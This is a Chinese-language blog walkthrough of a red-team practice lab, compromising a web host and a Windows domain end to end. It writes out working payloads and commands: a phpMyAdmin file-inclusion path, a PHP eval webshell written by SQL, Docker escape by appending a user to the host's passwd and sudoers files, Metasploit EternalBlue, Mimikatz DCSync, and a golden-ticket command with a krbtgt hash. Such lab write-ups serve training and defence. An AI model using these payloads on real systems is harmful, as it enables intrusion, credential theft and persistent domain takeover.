ATT&CK红队评估四

2024-03-27 1,008 0

0x01 打靶目标

获得所有主机包括域控的控制权限。

0x02 靶场环境

web机 :ubuntu 192.168.111.145 192.168.183.128

内网主机:windows 7

0x03 打靶记录

一.外网信息收集

ATT&CK红队评估四插图

外网有一台机器,接着扫描一下该主机开放的端口

ATT&CK红队评估四插图1

有三个web端口,游览器访问 2001 端口

ATT&CK红队评估四插图2

是一个文件上传的功能点,简单上传一个文件发现没有反应。

只不过 url 出现了 action 后缀的文件

ATT&CK红队评估四插图3

结合之前扫描的结果,可能会存在 struts2 的多版本漏洞。

游览器访问 2002 端口,是一个 tomcat 的初始界面

ATT&CK红队评估四插图4

搜索当前 tomcat 版本,是否存在已知漏洞。搜一下还真有,存在put文件上传漏洞。

接着访问最后一个端口 2003

该端口开放了一个 phpMyAdmin,版本为 4.8.1

ATT&CK红队评估四插图5

该版本存在任意文件上传漏洞。

这三个web服务都有漏洞适合打点。

二.外网打点

1.struts2 漏洞打点

使用工具

ATT&CK红队评估四插图6

检测存在漏洞,

ATT&CK红队评估四插图7

能够命令执行。

2.tomcat 文件上传漏洞打点

用PUT方式上传一个jsp木马

ATT&CK红队评估四插图8

看似应该上传成功了,游览器访问21.jsp,测试命令。

ATT&CK红队评估四插图9

木马成功上传。

3.phpMyAdmin 远程文件包含打点

使用该路径可以任意文件读取

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd#/

ATT&CK红队评估四插图10

执行如下sql语句

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

查询记录会写进日志里。这是一个docker的环境,所以不能利用写木马到数据库然后包含 frm 文件。因为 vulhub 是利用站库分离的搭法,这样我们插入木马到某个表中,payload 会保存在数据库系统里,而不是 web 服务器上。

因此利用 session 写入 shell 的方式进行 getshell

储存路径在 tmp目录下的 sess_+phpMyAdmin的cookie值

包含该日志,执行php代码,写入木马

?target=db_sql.php%253f/../../../../../../../../tmp/sess_14afd9352fa03b2c14b10c54b396478e#/

访问该文件,执行代码。

ATT&CK红队评估四插图11

三.反弹shell

struts2 能够执行命令之后就可以直接反弹shell

kali开启监听7778端口,执行反弹命令。

ATT&CK红队评估四插图12

回到kali

ATT&CK红队评估四插图13

反弹成功。

四.docker逃逸

执行 fdisk -l查看硬盘信息

ATT&CK红队评估四插图14

没有输出任何信息,说明当前是容器环境。

运行该命令查看当前容器是否为特权容器

cat /proc/1/status | grep Cap

ATT&CK红队评估四插图15

没有查询出来的值是00000003ffffffff,很遗憾,并不是。换一个容器试试

使用冰蝎连接tomcat上传的jsp马。

ATT&CK红队评估四插图16

查看当前容器是否为特权容器

ATT&CK红队评估四插图17

是特权容器无疑了,那么接下来查看硬盘信息

ATT&CK红队评估四插图18

可以看到这里存在与 Linux 主机之间的挂载,该linux可能是宿主机。

在根目录下新建文件,然后与/dev/sda5进行挂载

mkdir xjy
mount /dev/sda5 xjy/

查看xjy文件夹,输出的信息就是宿主机的硬盘信息。

ATT&CK红队评估四插图19

执行如下命令

perl -le 'print crypt("123456","addedsalt")'

生成123456的hash值。

hash 值为 adrla7IBSfTZQ

执行如下命令添加用户

echo "abc:adrla7IBSfTZQ:1001:1001:User_like_root:/root:/bin/bash" >> /xjy/etc/passwd

创建一个名为abc的用户。

已知该web主机开放了22端口,用我们新建的用户登录。

ATT&CK红队评估四插图20

登录成功。

(选做)免密登录

在我们的kali机上创建2048 bit 的公钥

ATT&CK红队评估四插图21

然后查看 id_rsa.pub的内容

ATT&CK红队评估四插图22

将这些内容复制到web机的 authorized_keys 文件中,没有就创建,注意要有格式。

然后设置权限

openssl规定这些密钥文件必须针对于这个用户开放权限,并可读可写不可执行。

ATT&CK红队评估四插图23

在我们的kali上创建一个config文件

里面设置开启sha1支持的命令

ATT&CK红队评估四插图24

这段配置指定了在连接到指定主机(IP 地址为 192.168.111.146)时,SSH 客户端应该使用的主机密钥算法和公钥算法。具体而言,它告知客户端允许使用 SSH-RSA 算法进行主机密钥验证和公钥身份验证。

最后指定公钥进行远程登录

ssh -i id_rsa [email protected]

ATT&CK红队评估四插图25

最后可以免密登录成功。

五.提权

在我们的docker环境里执行如下命令

echo "abc ALL=(ALL:ALL) ALL" >> /xjy/etc/sudoers

因为我们将宿主机的磁盘一起挂载了,默认是root权限,是能够在 sudoers敏感文件里追加我们新建的用户。

ATT&CK红队评估四插图26

将当前用户切换到超级用户下,或切换到指定的用户下,然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户。具体工作过程如下:当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限,确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认,若密码输入成功,则开始执行sudo后续的命令

我们追加以上命令,表明我们当前的abc用户在执行sudo特权命令的时候就可以输入自己的密码了,就可以达到提权的效果。也可以相当于添加了一个管理员用户。

回到kali中执行 sudo 命令

ATT&CK红队评估四插图27

提权成功。

六.内网信息收集

kali用python开启一个web服务,提供web主机去下载 fscan

ATT&CK红队评估四插图28

然后web靶机使用wget下载扫描器

查看一下当前web主机的网卡信息,存在 183 的内网网段。

使用 fscan 扫描内网存活主机。

ATT&CK红队评估四插图29

内网还存在两台主机,一个130,一个131,都开放了445端口,都检测出可能会存在永恒之蓝漏洞。

该主机为ubuntu,也不存在所谓的域

还是派生到MSF打永恒之蓝吧

七.横向移动

繁琐的步骤不再重复,不过与windows主机设置的监听器不同

use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 0.0.0.0
run

然后再kali执行反弹shell命令。获得了ubuntu 的 shell,暂时不能用MSF的组件,所以执行 sessions -u 3 升级一下会话就可以了。

一般的永恒之蓝打不了,总是出错,试了很多次,然后挂个代理,使用proxychains来启动msfconsole,然后再用永恒之蓝打win7,但是进入不了shell,会超时

ATT&CK红队评估四插图30

此时可以说已经拿到了windows 7 的shell了。

将win7的shell派生到CS

ATT&CK红队评估四插图31

失败了,CS没有反应,很离谱。

那就换个思路吧

加载kiwi模块去读取密码

ATT&CK红队评估四插图32

执行 creds_all 命令,读取到 ntlm 哈希和明文密码了。

ATT&CK红队评估四插图33

接下来开启远程桌面

ATT&CK红队评估四插图34

别看它 timeout了实际上已经打开了,因为通过永恒之蓝拿到的shell是system权限。

客户端挂代理,远程桌面,

ATT&CK红队评估四插图35

登录没有信任关系,离谱。。。

接着用永恒之蓝打域控。

ATT&CK红队评估四插图36

成功,但是进入不了shell交互会话。继续读取域控的密码

ATT&CK红队评估四插图37

开启远程桌面连接域控。

ATT&CK红队评估四插图38

成功连接域控。

用命令行添加用户

ATT&CK红队评估四插图39

ATT&CK红队评估四插图40

成功将aaa用户添加到管理员组。

但是win7还是登录不上,在域控用ipc连接貌似也不行,win7的域账户应该出了问题。

换个方式代理,在msf里面添加代理端口

ATT&CK红队评估四插图41

就能够进入到shell页面

ATT&CK红队评估四插图42

当前是system权限,添加新用户。

ATT&CK红队评估四插图43

成功将 xilitter 用户添加到管理员。

ATT&CK红队评估四插图44

成功远程桌面连接win7主机。因为该用户是管理员,可以操作本主机的任何文件了。

八.权限维持

1.制作黄金票据

如果在域控新添加的用户被检查出来并删除,那么我们就失去对域控制器的控制权,所以我们需要在win7我们新添加的用户中制作黄金票据,能够实现对域控制器的持续访问。

在域控制器使用 klist 命令查看当前登录用户的票据信息。

ATT&CK红队评估四插图45

发现存在 Kerberos 票据,那么该域正在使用Kerberos 进行身份验证。

制作黄金票据,维持对域控制器的控制权。

制作黄金票据需要满足如下条件

1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的

krbtgt是Kerberos中的一个特殊账户,用于存储和管理Ticket Granting Ticket(TGT)。在Kerberos认证系统中,krbtgt账户是一个系统级别的账户,用于生成TGT和使用自己的hash(krbtgt hash)加密TGT,并提供给用户进行身份验证和获取服务票据。那么如果攻击者获取到了这个hash(krbtgt hash),那么就可以任意的伪造TGT了,该特殊账户是在域控制器上的。

还有一点就是该KRBTGT帐户密码[从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在

首先域的名称为 DEMO

ATT&CK红队评估四插图46

上传 Mimikatz 工具获取krbtgt的HTLM-Hash及域SID

lsadump::dcsync /user:krbtgt

ATT&CK红队评估四插图47

用户名为 krbtgt,域ID为

S-1-5-21-979886063-1111900045-1414766810-502

krbtgt 用户的 NTLM HASH 为

7c4ed692473d4b4344c3ba01c5e6cb63

选择任意域用户,为administrator

远程桌面登录win7

首先检查当前是否存在票据,然后执行 kerberos::purge清除票据。

kerberos::golden /admin:administrator /domain:DEMO.COM /sid:S-1-5-21-979886063-1111900045-1414766810-502 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi

ATT&CK红队评估四插图48

成功生成票据。

将我们生成的票据导入内存中,list查看票据发现已经加载进来了。

ATT&CK红队评估四插图49

接下来就可以执行 dir 来查看域控的磁盘信息了。

ATT&CK红队评估四插图50

达到了权限维持的效果。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论